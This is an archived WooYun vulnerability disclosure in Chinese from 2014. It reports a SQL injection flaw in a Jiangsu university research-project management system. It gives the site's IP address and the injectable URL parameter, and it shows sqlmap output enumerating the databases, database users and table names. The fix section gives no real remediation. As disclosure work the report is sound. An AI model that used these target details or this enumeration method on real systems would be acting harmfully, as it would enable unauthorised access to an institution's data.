当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-064680

漏洞标题:江苏省某高校科研项目管理系统存在SQL注入漏洞

相关厂商:江苏省教育厅

漏洞作者: 超耐蘑

提交时间:2014-06-12 18:04

修复时间:2014-07-27 18:06

公开时间:2014-07-27 18:06

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-12: 细节已通知厂商并且等待厂商处理中
2014-06-16: 厂商已经确认,细节仅向厂商公开
2014-06-26: 细节向核心白帽子及相关领域专家公开
2014-07-06: 细节向普通白帽子公开
2014-07-16: 细节向实习白帽子公开
2014-07-27: 细节向公众公开

简要描述:

江苏省某高校科研项目管理系统存在SQL注入漏洞

详细说明:

江苏省高校自然科学研究项目管理系统存在SQL注入漏洞
管理系统网址为:http://58.213.129.225/index.jsp

1.jpg


随便点击一个登陆界面滚动的公告,URL为:http://58.213.129.225/news.jsp?guideid=4

2.jpg


看到了数字就习惯性地测试了下,貌似存在sql注入

3.jpg


放到sqlmap里跑了下,果然跑出了数据

[16:48:55] [INFO] the back-end DBMS is MySQL
web application technology: JSP
back-end DBMS: MySQL 5.0.11
[16:48:55] [INFO] fetching database names
[16:48:55] [INFO] fetching number of databases
[16:48:55] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[16:48:55] [INFO] retrieved: 4
[16:48:56] [INFO] retrieved: information_schema
[16:49:08] [INFO] retrieved: mysql
[16:49:12] [INFO] retrieved: pm
[16:49:14] [INFO] retrieved: test
available databases [4]:
[*] information_schema
[*] mysql
[*] pm
[*] test


[16:49:25] [INFO] the back-end DBMS is MySQL
web application technology: JSP
back-end DBMS: MySQL 5.0.11
[16:49:25] [INFO] fetching database users
[16:49:25] [INFO] fetching number of database users
[16:49:25] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[16:49:25] [INFO] retrieved: 3
[16:49:26] [INFO] retrieved: 'root'@'localhost'
[16:49:38] [INFO] retrieved: 'root'@'127.0.0.1'
[16:50:00] [INFO] retrieved: ''@'localhost'
database management system users [3]:
[*] ''@'localhost'
[*] 'root'@'127.0.0.1'
[*] 'root'@'localhost'

漏洞证明:

Database: mysql
[23 tables]
+---------------------------------------+
| table_priv |
| user |
| columns_priv |
| db |
| event |
| func |
| general_hog |
| help_@eyword |
| help_category |
| help_relation |
| help_topic |
| host |
| ndb_binlog_index |
| plugin |
| proc |
| procs_priv |
| servers |
| slow_log |
| time_zone |
| time_zone_leap_second |
| time_zone_name |
| time_zone_transition |
| time_zone_transition_type |
+---------------------------------------+
Database: information_schema
[28 tables]
+---------------------------------------+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| COLUMN_PRIVILEGES |
| ENGINES |
| EVENTS |
| FILES |
| GLOBAL_STATUS |
| GLOBAL_VARIABLES |
| KEY_COLUMN_USAGE |
| PARTITIONS |
| PLUGINS |
| PROCESSLIST |
| PROFILING |
| R@FERENTIAL_CONSTRAINTS |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| SESSION_STATUS |
| SESSION_VARIABLES |
| STATISTICS |
| TABLES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TRIGGERS |
| USER_HRIVILEGES |
| VIEWS |
+---------------------------------------+
Database: pm
[16 tables]
+---------------------------------------+
| pm_dic |
| pm_file |
| pm_guide |
| pm_guidefile |
| pm_news |
| pm_professor |
| pm_project |
| pm_project_fee |
| pm_project_file |
| pm_project_person |
| pm_project_result |
| pm_project_result_file |
| pm_review |
| pm_role |
| pm_tree |
| pm_user |
+---------------------------------------+

修复方案:

你们懂得哦

版权声明:转载请注明来源 超耐蘑@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-06-16 23:08

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给江苏分中心处置。

最新状态:

暂无